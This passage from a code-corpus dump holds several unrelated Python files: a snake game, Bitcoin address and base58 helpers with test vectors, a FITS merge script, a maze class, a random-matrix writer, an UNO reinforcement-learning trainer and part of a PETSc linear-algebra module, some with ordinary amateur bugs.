(len(segment)-1,0,-1):\n\t\t\tx=segments[index-1].xcor()\n\t\t\ty=segments[index-1].ycor()\n\t\t\tsegment[0].goto(x,y)\n\t\t\t\n\t\t\t\n\t\tmove()\n\t\t\n\t\t\n\t\t#check for collision with body \n\t\t\n\t\tfor segment in segments:\n\t\t\tif segment.distance(head)<20:\n\t\t\t\ttime.sleep(1)\n\t\t\t\thead.goto(0,0)\n\t\t\t\t\n\t\t\t\thead.direction= \"stop\"\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t#hide segment\n\t\t\t\tfor segment in segments:\n\t\t\t\t\t\n\t\t\t\t\tsegmnet.goto(1000,100)\n\t\t\t\t\t\n\t\t\t\tsegment.clear()\n\t\t\t\tscore = 0\n\t\t\t\tdelay = 0.1\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t#update the score\n\t\t\t\tsb.clear()\n\t\t\t\tsb.write(\"score: {} highscore: {}\",\n\t\t\t\tformat(score,high_score),align=\"center\",font=(\"ds-digital\", 24,\"normal\"))\n\t\t\t\t\n\t\t\t\t\n\t\ttime.sleep(delay)\n\t\t\t\t\nws.mainloop()\n\t\t\t\t\n\t\t\t\t\n\t\t","sub_path":"snake_g.py","file_name":"snake_g.py","file_ext":"py","file_size_in_byte":3976,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"3138358","text":"import hashlib\nimport EC_Util\n\n#Basic Address Funcions\ndef hash160(data):\n\t#Takes hex input\n\t#Return hash160 of input as hex\n\tripemd160 = hashlib.new('ripemd160')\n\tdata = data.decode('hex')\n\tfirst_hash = (hashlib.sha256(data).digest())\n\n\tripemd160.update(first_hash)\n\treturn ripemd160.hexdigest()\n\ndef base58Encode(string):\n\t#Accepts only hex\n\t#Ouputs base58 equivilent\n\tBase58_Chars = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz'\n\tleading_zeros = 0\n\toutput = ''\n\t#Converting Input\n\tconverted_integer = int(string,16)\n\n\t#Counting zero's for bitcoin address\n\tfor i in range(0,len(string),2):\n\t\tif string[i:i+2] == '00':\n\t\t\tleading_zeros += 1\n\t\t\tcontinue\n\t\tbreak\n\t#Encodes hex\n\twhile converted_integer > 0:\n\t\toutput += Base58_Chars[converted_integer%58]\n\t\tconverted_integer /= 58\n\t#String reversed according to specification\n\treturn '1'*leading_zeros + output[::-1]\n\ndef base58Decode(string):\n\t#Accepts base58 input\n\t#Ouputs hex equivilent for bitcoin, output is padded\n\tBase58_Chars = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz'\n\toutput = 0\n\t\n\tfinal = ''\n\t#Adds zeros for each leading 1's\n\tfor i in range(len(string)):\n\t\tchar = string[i]\n\t\tif char == '1':\n\t\t\tfinal += '00'\n\t\t\tcontinue\n\t\tbreak\n\t\t\n\tstring = string[::-1] #String reversed according to specifications\n\n\tfor i in range(len(string)):\n\t\tchar   = string[i]\n\t\tvalue  = Base58_Chars.find(char)\n\t\toutput += value*(58**i)\n\t\n\tfinal += '%x' % output\n\treturn '0'*(len(final)%2) + final #Length Padded\n\ndef base58CheckEncode(version,string):\n\t\"\"\"\n\tAccepts version argument as string or number (base 16)\n\tAccepts hex string only, string generally should the keyhash without version byte\n\tReturns Bitcoin Address\n\t\"\"\"\n\ttry:\n\t\t#Test if hex number, pads number\n\t\tunpadded = '%x' % version\n\t\tpadded = '%s%s' % ('0'*(len(unpadded)%2),unpadded)\n\texcept TypeError:\n\t\t#Test if string, pads number\n\t\tpadded = '%s%s' % ('0'*(len(version)%2),version)\n\t\n\tpayload = (padded + string).decode('hex')\n\tchecksum = hashlib.sha256(hashlib.sha256(payload).digest()).digest()[0:4]\n\tresult = (payload + checksum).encode('hex')\n\treturn base58Encode(result)\n\t\ndef checkaddress(address):\n\t#Accepts base58Checkencoded address\n\t#Return Boolean\n\tkey_hash = base58Decode(address).decode('hex')\n\tchecksum1 = key_hash[len(key_hash)-4:] #Presented Checksum\n\tchecksum2 = hashlib.sha256(hashlib.sha256(key_hash[:len(key_hash)-4]).digest()).digest()[0:4] #Calculated Checksum\n\treturn checksum1==checksum2 \n\n#EC Functions\n#All of these functions use bitcion specified public and private keys\n#Public keys are given as serialized keys\n\ndef public_key_to_compressed(xraw):\n    #Takes hex input of full public key\n    #Returns compressed public key in hex\n    if xraw[:2]=='04':\n        if int(xraw[66:],16) % 2 == 0:\n            xcomp = '02%s' % xraw[2:66]\n        else:\n            xcomp = '03%s' % xraw[2:66]\n    else:\n        xcomp = xraw\n    return xcomp\n\ndef compressed_key_to_full(public_key):\n\t#Accepts hex input of compressed public key\n    #Returns full public key\n\t(xpoint,ypoint) = EC_Util.Compressed_to_full_point(public_key[2:],public_key[:2]) #Padds points in function\n\treturn '04%s%s' % (xpoint, ypoint)\n\ndef private_key_to_public(privatekey):\n    #Accepts hex input\n    #Returns full Public Key\n\n    #Calculating x,y coordinates on graph\n    privatekey = int((privatekey),16)\n    xcoord, ycoord = EC_Util.EccMultiply(privatekey)\n    #Converting to Hex\n    x_point,y_point = ('%x' % xcoord,'%x' % ycoord)\n    #Padding with leading zeros\n    x_point = '%s%s' % ('0'*(64-len(x_point)),x_point)\n    y_point = '%s%s' % ('0'*(64-len(y_point)),y_point)\n\n    return '04'+x_point+y_point\n\ndef private_key_to_compressed(privatekey):\n\t#Takes hex input of private key (NOT WIF)\n\t#Returns compressed public key in hex\n\tfull_key = private_key_to_public(privatekey)\n\treturn public_key_to_compressed(full_key)\n\n#Address Functions\ndef public_key_to_address(key):\n\t#Takes hex input (compressed or uncompressed). This function has no check builtin so only pass valid keys\n\t#Returns bitcoin address\n\treturn base58CheckEncode(0,hash160(key))\n\ndef private_key_to_WIF(private_key):\n\t#Takes private key as hex input\n\t#Returns WIF base58CheckEncoded\n\treturn base58CheckEncode(0x80,private_key)\n\ndef private_key_to_compressed_WIF(private_key):\n\t#Takes private key as hex input\n\t#Returns compressed WIF base58CheckEncoded\n\tpayload = private_key + '01'\n\treturn base58CheckEncode(0x80,payload)\n\ndef WIF_to_private_key(wif):\n\t#Takes WIF, Compressed or Uncompressed\n\t#Returns hex private key\n\treturn base58Decode(wif)[2:66]\n\n\n\n\n#Address Functions\nassert base58Encode('00005d1a239d4ec666643d350c7bb8fc44d2881128f82b4da6') == '112vXrAkfzxJV4APHHP6XiBAZbD71et1py'\nassert base58Decode('112vXrAkfzxJV4APHHP6XiBAZbD71et1py') == '00005d1a239d4ec666643d350c7bb8fc44d2881128f82b4da6'\nassert base58CheckEncode(0x00,'005D1A239D4EC666643D350C7BB8FC44D2881128') == '112vXrAkfzxJV4APHHP6XiBAZbD71et1py'\nassert checkaddress('112vXrAkfzxJV4APHHP6XiBAZbD71et1py')\n\n#Private Keys\nassert private_key_to_WIF('0c28fca386c7a227600b2fe50b7cae11ec86d3bf1fbe471be89827e19d72aa1d') == '5HueCGU8rMjxEXxiPuD5BDku4MkFqeZyd4dZ1jvhTVqvbTLvyTJ'\nassert WIF_to_private_key('5HueCGU8rMjxEXxiPuD5BDku4MkFqeZyd4dZ1jvhTVqvbTLvyTJ') == '0c28fca386c7a227600b2fe50b7cae11ec86d3bf1fbe471be89827e19d72aa1d'\nassert private_key_to_compressed('0c28fca386c7a227600b2fe50b7cae11ec86d3bf1fbe471be89827e19d72aa1d') == '02d0de0aaeaefad02b8bdc8a01a1b8b11c696bd3d66a2c5f10780d95b7df42645c'\n\n#Public Keys\nassert public_key_to_address('04d0de0aaeaefad02b8bdc8a01a1b8b11c696bd3d66a2c5f10780d95b7df42645cd85228a6fb29940e858e7e55842ae2bd115d1ed7cc0e82d934e929c97648cb0a') == '1GAehh7TsJAHuUAeKZcXf5CnwuGuGgyX2S'\nassert public_key_to_address('02d0de0aaeaefad02b8bdc8a01a1b8b11c696bd3d66a2c5f10780d95b7df42645c') == '1LoVGDgRs9hTfTNJNuXKSpywcbdvwRXpmK'\nassert compressed_key_to_full('02d0de0aaeaefad02b8bdc8a01a1b8b11c696bd3d66a2c5f10780d95b7df42645c') == '04d0de0aaeaefad02b8bdc8a01a1b8b11c696bd3d66a2c5f10780d95b7df42645cd85228a6fb29940e858e7e55842ae2bd115d1ed7cc0e82d934e929c97648cb0a'","sub_path":"Address_Util.py","file_name":"Address_Util.py","file_ext":"py","file_size_in_byte":6057,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"244265158","text":"def parse_args():\n    import argparse\n    parser = argparse.ArgumentParser(description='A simple example program to merge or concat fits files')\n    \n    parser.add_argument('--file', default='',\n                        help='Fits image to extend, by default it looks for the first hdu')\n    parser.add_argument('--ref', default='',\n                        help='Fits with the additional information')\n    parser.add_argument('--merge', default=False, action='store_const', const=True,\n                        help='boolean to print the header of the hdu')\n    parser.add_argument('--concact', default=False, action='store_const', const=True,\n                        help='boolean to print the columns of the hdu')\n    parser.add_argument('--fields', nargs='+',  type=str, \n                        help='Print only some columns, --fields string1 string2 string3 ... ')\n \n    args = parser.parse_args()\n\n    return args\n\n\ndef write_fit(data, file_name):\n    import fitsio\n    from fitsio import FITS,FITSHDR\n    import os.path\n    import pandas\n    if not os.path.isfile(file_name):\n        fitsio.write(file_name,  data, clobber=False)\n    else:\n        fits = FITS(file_name,'rw')\n        fits[-1].append(data)\n\ndef main():\n    import fitsio\n    import pandas\n\n    args = parse_args()\n    #Adding columns\n\n    try:\n        data = fitsio.read(args.file)\n        data = data.astype(data.dtype.newbyteorder('='))\n        df = pandas.DataFrame(data)\n    except:\n        print('File could not be open!')\n        return None\n\n    try:\n        ref_data = fitsio.read(args.ref)\n        ref_data = ref_data.astype(ref_data.dtype.newbyteorder('='))\n        ref_df = pandas.DataFrame(ref_data)\n    except:\n        print('Reference File could not be open!')\n        return None\n    \n    \n\n    result = pandas.merge(df, ref_df, on='expnum')\n\n\n    write_fit(result.to_records(index=False), 'rho2pbyexposure_ext.fits')\n\n    \n\n    #Adding rows\n    '''\n    data0 = fitsio.read('Y3A1_atmos_pos_condition0.fits')\n    data0 = data0.astype(data0.dtype.newbyteorder('='))\n    df0 = pandas.DataFrame(data0)\n\n    data1 = fitsio.read('Y3A1_atmos_pos_condition1.fits')\n    data1 = data1.astype(data1.dtype.newbyteorder('='))\n    df1 = pandas.DataFrame(data1)\n\n    data2 = fitsio.read('Y3A1_atmos_pos_condition2.fits')\n    data2 = data2.astype(data2.dtype.newbyteorder('='))\n    df2 = pandas.DataFrame(data2)\n\n    frames = [df0, df1, df2]\n    result = pandas.concat(frames, ignore_index=True)\n    \n    write_fit(result.to_records(index=False), 'Y3A1_atmos_pos_condition_conca.fits')\n    '''\n\nif __name__ == \"__main__\":\n    main()\n","sub_path":"extendfit.py","file_name":"extendfit.py","file_ext":"py","file_size_in_byte":2604,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"642047482","text":"from enum import Enum\nfrom typing import List,NamedTuple,Callable,Optional\nimport random\nfrom math import sqrt\n##from generic_search import dfs,bfs,node_to_pathastar,Node\n\nclass Cell(str,Enum):\n    EMPTY = \" \"\n    BLOCKED = \"X\"\n    START = \"S\"\n    GOAL = \"G\"\n    PATH = \"*\"\n\nclass MazeLocation(NamedTuple):\n    row:int\n    column:int\n\nclass Maze:\n    #10×10の迷路を作成\n    #sparsenessで障害物の散布度を調整\n    def __init__(self,rows:int=10,columns:int=10,sparseness:float=0.1,\\\n        start=MazeLocation(0,0),goal=MazeLocation(9,9)) -> None:\n            #基本的なインスタンス変数初期化\n            self.rows:int = rows\n            self._columns:int = columns\n            self.start:MazeLocation = start\n            self.goal:MazeLocation = goal\n            #空のセルを設定\n            self._grid:List[List[Cell]] = \\\n            [[Cell.EMPTY for c in range(columns)] for r in range(rows)]\n            #障害物設定\n            self._randomly_fill(rows,columns,sparseness)\n            #スタートとゴール\n            self._grid[start.row][start.column] = Cell.START\n            self._grid[goal.row][goal.column] = Cell.GOAL\n        \n    def _randomly_fill(self,rows:int,columns:int,sparseness:float):\n        for row in range(rows):\n            for column in range(columns):\n                if random.uniform(0,1.0) < sparseness:\n                    self._grid[row][column] = Cell.BLOCKED#ランダムにBLOCKEDを配置\n\n    #整地\n    def __str__(self) -> str:\n        output:str = \"\"\n        for row in self._grid:\n            output += \"\".join([c.value for c in row]) + \"\\n\"#文字列を連結\n        return output\n\n    #ゴールチェック\n    #GOALしたらTrueを返す\n    def goal_test(self,ml:MazeLocation) -> bool:\n        return ml == self.goal\n\n    #現在地の上下左右を検索して、移動可能なマスをリストにして返す。\n    def successors(self,ml:MazeLocation) ->List[MazeLocation]:\n        locations = List[MazeLocation] = []\n        #現在地の真上のマスをチェック\n        if ml.row + 1 < self.row and self._grid[ml.row + 1][ml.column] != Cell.BLOCKED:\n            locations.append(MazeLocation(ml.row + 1,ml.column))\n        #現在地の真下のマスをチェック\n        if ml.row - 1 >= 0 and self._grid[ml.row - 1][ml.column] != Cell.BLOCKED:\n            locations.append(MazeLocation(ml.row - 1,ml.column))\n        #現在地の右のマスをチェック\n        if ml.column + 1 >= self.column and self._grid[ml.row][ml.column + 1] != Cell.BLOCKED:\n            locations.append(MazeLocation(ml.row,ml.column + 1))\n        #現在地の左のマスをチェック\n        if ml.column - 1 >= 0 and self._grid[ml.row][ml.column - 1] != Cell.BLOCKED:\n            locations.append(MazeLocation(ml.row,ml.column - 1))\n        \n        \n        \n\n\nmaze:Maze = Maze()\nprint(maze)\n\n","sub_path":"maze.py","file_name":"maze.py","file_ext":"py","file_size_in_byte":2892,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"210324478","text":"import random\nimport fileinput\nimport sys\nimport os.path\n\n##################################################################################\n# @ Auther : Juby George\n# @ email  : jubieegeorge@gmail.com\n# This simple python program that generates a Matrix as follows\n# It accepts a file-name as command-line input - this is the fileName \n# where the output Matrix is created\n# This program generate 10 rows of random numbers [ range 1 - 100 ] each with 10 \n# numbers in it. These generated random numbers will be written to the file-name \n# given as input\n##################################################################################\n\n\n\n# This function generates a stream of 10 random numbers and\n# return them as a string with a coma between two numbers\n# This function also attaches a newline to the end of the string\n# @return - none\ndef createRandRow():\n  randomString =''\n  for i in range(10):\n    randomString = randomString + str(random.randrange(0,100))+ \",\" \n  randomString  = randomString + \"\\n\"\n  return randomString\n  \n        \n# This fucntion creates a file with given file-name in append mode.\n# If file exists, it delets the old file and creates a new file \n# with the same name.\n# @return - a pointer to the file created\ndef createOutputFile( fileName ):\n  if ( os.path.exists(fileName) ):\n    os.remove(fileName) \n    \n  filePtr = open(fileName,'a')\n  return filePtr\n  \n  \n# This fucntion writes the given string to the file specified\n# @param  filePtr - Pointer to the output file\n# @param  randRow - A new string to be written to the file\n# @return - none\ndef writeToOutputFile( filePtr , randRow ):\n  filePtr.write(randRow)\n  #print(randRow)\n  \n  \n# This function closes the output file\n# @param filePtr - Pointer to the output file  \n# @return - none\ndef closeOutputFile(  filePtr ):\n  filePtr.flush()\n  filePtr.close()\n\n  \n# This function opens the given filein read only mode , \n# read the contents and print it to the console\n# @param fileName - Name of the file to be read\n# @return - none\ndef readFile( fileName ):\n  filePtr = open(fileName, 'r')\n  fileContents = filePtr.readlines()\n  filePtr.close()\n  print(fileContents)\n      \n# Main entry point\n# This fucntion retrives the command-line argument and creates a file with the\n# command-line supplied name. Using the various functions in this module this\n# function generates a matrix of random numbers of size 10x10\ndef main():\n fileName = sys.argv[1]\n \n print (\"Creating file \"+fileName +\"......\\n\\n\")\n filePtr  = createOutputFile(fileName)\n \n for i in range(10):\n  randRow = createRandRow()\n  writeToOutputFile(filePtr,randRow)\n \n closeOutputFile(filePtr)\n print(\"----------------------------\")\n readFile( fileName )\n    \nmain()\n\n\n  \n  ","sub_path":"MatrixGen.py","file_name":"MatrixGen.py","file_ext":"py","file_size_in_byte":2721,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"40289183","text":"# !pip3 install rlcard[torch]\n\nimport random\nimport numpy as np\nimport torch\nimport torch.nn as nn\nfrom copy import deepcopy\nfrom collections import namedtuple\n\nimport rlcard\nfrom rlcard.agents import RandomAgent, DQNAgent\nfrom rlcard.utils import get_device, set_seed, tournament, reorganize, Logger, plot_curve\n\nimport matplotlib\nimport matplotlib.pyplot as plt\n\nfrom agent.SARSA import SARSAAgent, SarsaNet\n\n\n# hyperparameters\nepisode_count = 10000\nEPS_STEP = 100\nALPHA = .00005  # .5\nGAMMA = .99\neval_freq = 100\neval_games = 50\n\n\ntemp_env = rlcard.make('uno')\nuno_num_actions = temp_env.num_actions\nuno_state_shape = temp_env.state_shape\n\n\n\"\"\"# Training Loop\"\"\"\n\n\ndef train(num_players, training_agents):\n\n    # makes sure num_players and agents are valid\n    if len(training_agents) > num_players or num_players == 1:\n        print(\"invalid input\")\n        return\n\n    agents = training_agents.copy()\n\n    # creates random agents to fill in empty player slots\n    initial_agents = len(agents)\n    for _ in range(num_players-initial_agents):\n        agents.append(RandomAgent(num_actions=uno_num_actions))\n\n    # creates the environment for training\n    env = rlcard.make('uno')\n    # print(\"agents:\", agents)\n    env.set_agents(agents)\n\n    performances = [[]] * len(training_agents)\n    for e in range(episode_count):\n        trajectories, payoffs = env.run(is_training=True)\n\n        data = reorganize(trajectories, payoffs)\n        # print(\"data:\",data[0][0])\n\n        # data is a list in the form (state, action, reward, next_state, done)\n        for i in range(len(training_agents)):\n            for hand in data[i]:\n                # return hand\n                training_agents[i].feed(hand)\n\n        if e % eval_freq == 0:\n            eval_results = tournament(env, eval_games)\n            for i in range(len(training_agents)):\n                performances[i].append(eval_results[i])\n                m = [m*eval_freq for m in range(len(performances[i]))]\n                plt.plot(performances[i])\n                # plt.legend()\n                plt.savefig('data33/{}.png'.format(e))\n                print(\" Write to \\\"data33/{}.png\\\"\".format(e))\n    return performances\n\n\n\"\"\"# Agent Maker and Results\"\"\"\n\ndqn_agent = DQNAgent(num_actions=uno_num_actions,\n                     state_shape=uno_state_shape[0],\n                     mlp_layers=[512, 1024, 512],\n                     device=get_device(),\n                     epsilon_decay_steps=EPS_STEP,\n                     discount_factor=GAMMA,\n                     learning_rate=ALPHA\n                     )\n\nsarsa_agent = SARSAAgent(dr=GAMMA,\n                         lr=ALPHA,\n                         mlp_layers=[64, 128, 64],\n                         num_actions=uno_num_actions,\n                         state_shape=uno_state_shape[0],\n                         epsilon_decay_steps=EPS_STEP)\nm = None\n\ndqn_performance = train(2, [dqn_agent])[0]\n# sarsa_performance = train(2, [sarsa_agent])[0]\n\n# for i in range(1, 100000, 5):\n#     for j in range(90, 100, 1):\n#         ALPHA = i / 100000\n#         GAMMA = j / 100\n#         print(ALPHA,GAMMA)\n#         train(2, [dqn_agent])[0]\n#         train(2, [sarsa_agent])[0]\n","sub_path":"unoplayer.py","file_name":"unoplayer.py","file_ext":"py","file_size_in_byte":3184,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"538524566","text":"\"\"\"\nTools for n-dimensional linear algebra\n\nVectors are just numpy arrays, as are dense matrices. Sparse matrices\nare CSR matrices. Parallel vector and matrix are built on top of those\nrepresentations using PETSc.\n\n.. inheritance-diagram:: proteus.LinearAlgebraTools\n   :parts: 1\n\"\"\"\nimport numpy\nimport math\nimport sys\nimport superluWrappers\nfrom .superluWrappers import *\nfrom .Profiling import logEvent\nfrom petsc4py import PETSc as p4pyPETSc\nfrom . import flcbdfWrappers\n\ndef _petsc_view(obj, filename):\n    \"\"\"Saves object to disk using a PETSc binary viewer.\n    \"\"\"\n    viewer = p4pyPETSc.Viewer().createBinary(filename, 'w')\n    viewer(obj)\n    viewer2 = p4pyPETSc.Viewer().createASCII(filename+\".m\", 'w')\n    viewer2.pushFormat(1)\n    viewer2(obj)\n    viewer2.popFormat()\n\ndef petsc_load_matrix(filename):\n    \"\"\" This function loads a PETSc matrix from a binary format.\n    (Eg. what is saved using the petsc_view function).\n\n    Parameters\n    ----------\n    filename : str\n        This is the name of the binary with the file stored.\n\n    Returns\n    -------\n    matrix : petsc4py matrix\n        The matrix that is stored in the binary file.\n    \"\"\"\n    try:\n        viewer = p4pyPETSc.Viewer().createBinary(filename,'r')\n        output = p4pyPETSc.Mat().load(viewer)\n    except:\n        print(\"Either you've entered an invalid file name or your object is not a matrix (try petsc_load_vector).\")\n    return output\n\ndef petsc_load_vector(filename):\n    \"\"\" This function loads a PETSc vector from a binary format.\n    (Eg. what is saved using the petsc_view function).\n\n    Parameters\n    ----------\n    filename : str\n        This is the name of the binary with the file stored.\n\n    Returns\n    -------\n    matrix : petsc4py vector\n        The matrix that is stored in the binary file.\n    \"\"\"\n    try:\n        viewer = p4pyPETSc.Viewer().createBinary(filename,'r')\n        output = p4pyPETSc.Vec().load(viewer)\n    except:\n        print(\"Either you've entered an invalid file name or your object is not a vector (try petsc_load_matrix).\")\n    return output\n    \ndef _pythonCSR_2_dense(rowptr,colptr,data,nr,nc,output=False):\n    \"\"\" Takes python CSR datatypes and makes a dense matrix \"\"\"\n    dense_matrix = numpy.zeros(shape = (nr,nc), dtype='float')\n    for idx in range(len(rowptr)-1):\n        row_vals = data[rowptr[idx]:rowptr[idx+1]]\n        for val_idx,j in enumerate(colptr[rowptr[idx]:rowptr[idx+1]]):\n            dense_matrix[idx][j] = row_vals[val_idx]\n    if output is not False:\n        numpy.save(output,dense_matrix)\n    return dense_matrix\n\ndef superlu_sparse_2_dense(sparse_matrix,output=False):\n    \"\"\" Converts a sparse superluWrapper into a dense matrix.\n\n    Parameters\n    ----------\n    sparse_matrix : \n    output : str\n        Out file name to store the matrix.\n\n    Returns\n    -------\n    dense_matrix : numpy array\n        A numpy array storing the dense matrix.\n\n    Notes\n    -----\n    This function should not be used for large matrices.\n    \"\"\"\n    rowptr = sparse_matrix.getCSRrepresentation()[0]\n    colptr = sparse_matrix.getCSRrepresentation()[1]\n    data   = sparse_matrix.getCSRrepresentation()[2]\n    nr     = sparse_matrix.shape[0]\n    nc     = sparse_matrix.shape[1]\n    return _pythonCSR_2_dense(rowptr,colptr,data,nr,nc,output)\n\ndef petsc4py_sparse_2_dense(sparse_matrix,output=False):\n    \"\"\" Converts a PETSc4Py matrix to a dense numpyarray.\n\n    Parameters\n    ----------\n    sparse_matrix : PETSc4py matrix\n    output : str\n        Output file name to store the matrix.\n\n    Returns\n    -------\n    dense_matrix : numpy array\n        A numpy array with the dense matrix.\n    \n    Notes\n    -----\n    This function is very inefficient for large matrices.\n    \"\"\"\n    rowptr = sparse_matrix.getValuesCSR()[0]\n    colptr = sparse_matrix.getValuesCSR()[1]\n    data   = sparse_matrix.getValuesCSR()[2]\n    nr     = sparse_matrix.getSize()[0]\n    nc     = sparse_matrix.getSize()[1]\n    return _pythonCSR_2_dense(rowptr,colptr,data,nr,nc,output)\n\ndef superlu_2_petsc4py(sparse_superlu):\n    \"\"\" Copy a sparse superlu matrix to a sparse petsc4py matrix\n\n    Parameters\n    ----------\n    sparse_matrix : :class:`proteus.superluWrappers.SparseMatrix`\n\n    Returns\n    -------\n    sparse_matrix : PETSc4py matrix\n    \"\"\"\n    rowptr, colind, nzval = sparse_superlu.getCSRrepresentation()\n    A_rowptr = rowptr.copy()\n    A_colind = colind.copy()\n    A_nzval  = nzval.copy()\n    nr       = sparse_superlu.shape[0]\n    nc       = sparse_superlu.shape[1]\n    A_petsc4py = p4pyPETSc.Mat().createAIJWithArrays((nr,nc),\n                                                     (A_rowptr,\n                                                      A_colind,\n                                                      A_nzval))\n    return A_petsc4py\n\nclass ParVec:\n    \"\"\"\n    A parallel vector built on top of daetk's wrappers for petsc\n    \"\"\"\n    def __init__(self,array,blockSize,n,N,nghosts=None,subdomain2global=None,blockVecType=\"simple\"):#\"block\"\n        import flcbdfWrappers\n        self.dim_proc=n*blockSize\n        if nghosts is None:\n            if blockVecType==\"simple\":\n                self.cparVec=flcbdfWrappers.ParVec(blockSize,n,N,-1,None,array,0)\n            else:\n                self.cparVec=flcbdfWrappers.ParVec(blockSize,n,N,-1,None,array,1)\n        else:\n            assert nghosts >= 0, \"The number of ghostnodes must be non-negative\"\n            assert subdomain2global.shape[0] == (n+nghosts), (\"The subdomain2global map is the wrong length n=%i,nghosts=%i,shape=%i \\n\" % (n,n+nghosts,subdomain2global.shape[0]))\n            assert len(array.flat) == (n+nghosts)*blockSize, (\"%i  != (%i+%i)*%i \\n\"%(len(array.flat),  n,nghosts,blockSize))\n            if blockVecType==\"simple\":\n                self.cparVec=flcbdfWrappers.ParVec(blockSize,n,N,nghosts,subdomain2global,array,0)\n            else:\n                self.cparVec=flcbdfWrappers.ParVec(blockSize,n,N,nghosts,subdomain2global,array,1)\n        self.nghosts = nghosts\n    def scatter_forward_insert(self):\n       self.cparVec.scatter_forward_insert()\n    def scatter_reverse_add(self):\n       self.cparVec.scatter_reverse_add()\n\n\nclass ParVec_petsc4py(p4pyPETSc.Vec):\n    \"\"\"\n    Parallel vector using petsc4py's wrappers for PETSc\n    WIP -- This function builds the local to global mapping for the PETSc parallel vectors.  At this\n    point it only works when the variables can be interwoven (eg. stablized elements where velocity and\n    pressure come from the same space).  We would like to extend this functionality to include finite\n    element spaces that cannot be interwoven such as Taylor Hood.\n    \"\"\"\n    def __init__(self,array=None,bs=None,n=None,N=None,nghosts=None,subdomain2global=None,blockVecType=\"simple\",ghosts=None,\n                                                 proteus2petsc_subdomain=None,\n                                                 petsc2proteus_subdomain=None):\n        p4pyPETSc.Vec.__init__(self)\n        if array is None:\n            return#when duplicating for petsc usage\n        self.proteus2petsc_subdomain=proteus2petsc_subdomain\n        self.petsc2proteus_subdomain=petsc2proteus_subdomain\n        blockSize = max(1,bs)\n        self.dim_proc = n*blockSize\n        self.nghosts = nghosts\n        self.blockVecType = blockVecType\n        assert self.blockVecType == \"simple\", \"petsc4py wrappers require self.blockVecType=simple\"\n        self.proteus_array = array\n        if nghosts is None:\n            if blockVecType == \"simple\":\n                self.createWithArray(array,size=(blockSize*n,blockSize*N),bsize=1)\n            else:\n                self.createWithArray(array,size=(blockSize*n,blockSize*N),bsize=blockSize)\n            self.subdomain2global=subdomain2global\n            self.petsc_l2g = None\n            self.setUp()\n        else:\n            assert nghosts >= 0, \"The number of ghostnodes must be non-negative\"\n            assert subdomain2global.shape[0] == (n+nghosts), (\"The subdomain2global map is the wrong length n=%i,nghosts=%i,shape=%i \\n\" % (n,n+nghosts,subdomain2global.shape[0]))\n            assert len(array.flat) == (n+nghosts)*blockSize, \"%i  != (%i+%i)*%i \\n\" % (len(array.flat),  n,nghosts,blockSize)\n            if blockVecType == \"simple\":\n                if ghosts is None:\n                    ghosts = numpy.zeros((blockSize*nghosts),'i')\n                    for j in range(blockSize):\n                        ghosts[j::blockSize]=subdomain2global[n:]*blockSize+j\n                self.createGhostWithArray(ghosts,array,size=(blockSize*n,blockSize*N),bsize=1)\n                if blockSize > 1: #have to build in block dofs\n                    subdomain2globalTotal = numpy.zeros((blockSize*subdomain2global.shape[0],),'i')\n                    for j in range(blockSize):\n                        subdomain2globalTotal[j::blockSize]=subdomain2global*blockSize+j\n                    self.subdomain2global=subdomain2globalTotal\n                else:\n                    self.subdomain2global=subdomain2global\n            else:\n                #TODO need to debug\n                ghosts = subdomain2global[n:]\n                self.createGhostWithArray(ghosts,array,size=(blockSize*n,blockSize*N),bsize=blockSize)\n                self.subdomain2global = subdomain2global\n            self.setUp()\n            #self.petsc_l2g = p4pyPETSc.LGMap()\n            #self.petsc_l2g.create(self.subdomain2global)\n            #self.setLGMap(self.petsc_l2g)\n        self.setFromOptions()\n    def scatter_forward_insert(self):\n        if self.proteus2petsc_subdomain is not None:\n            self.proteus_array[:] = self.proteus_array[self.petsc2proteus_subdomain]\n        self.ghostUpdateBegin(p4pyPETSc.InsertMode.INSERT,p4pyPETSc.ScatterMode.FORWARD)\n        self.ghostUpdateEnd(p4pyPETSc.InsertMode.INSERT,p4pyPETSc.ScatterMode.FORWARD)\n        if self.proteus2petsc_subdomain is not None:\n            self.proteus_array[:] = self.proteus_array[self.proteus2petsc_subdomain]\n    def scatter_reverse_add(self):\n        if self.proteus2petsc_subdomain is not None:\n            self.proteus_array[:] = self.proteus_array[self.petsc2proteus_subdomain]\n        self.ghostUpdateBegin(p4pyPETSc.InsertMode.ADD_VALUES,p4pyPETSc.ScatterMode.REVERSE)\n        self.ghostUpdateEnd(p4pyPETSc.InsertMode.ADD_VALUES,p4pyPETSc.ScatterMode.REVERSE)\n        if self.proteus2petsc_subdomain is not None:\n            self.proteus_array[:] = self.proteus_array[self.proteus2petsc_subdomain]\n\n    def save(self, filename):\n        \"\"\"Saves to disk using a PETSc binary viewer.\n        \"\"\"\n        _petsc_view(self, filename)\n\nclass ParMat_petsc4py(p4pyPETSc.Mat):\n    \"\"\"\n    Parallel matrix based on petsc4py's wrappers for PETSc.\n    \"\"\"\n    def __init__(self,ghosted_csr_mat=None,par_bs=None,par_n=None,par_N=None,par_nghost=None,subdomain2global=None,blockVecType=\"simple\",pde=None, par_nc=None, par_Nc=None, proteus_jacobian=None, nzval_proteus2petsc=None):\n        p4pyPETSc.Mat.__init__(self)\n        if ghosted_csr_mat is None:\n            return#when duplicating for petsc usage\n        self.pde = pde\n        if par_nc is None:\n            par_nc = par_n\n        if par_Nc is None:\n            par_Nc = par_N\n        self.proteus_jacobian=proteus_jacobian\n        self.nzval_proteus2petsc = nzval_proteus2petsc\n        self.ghosted_csr_mat=ghosted_csr_mat\n        self.blockVecType = blockVecType\n        assert self.blockVecType == \"simple\", \"petsc4py wrappers require self.blockVecType=simple\"\n        self.create(p4pyPETSc.COMM_WORLD)\n        self.blockSize 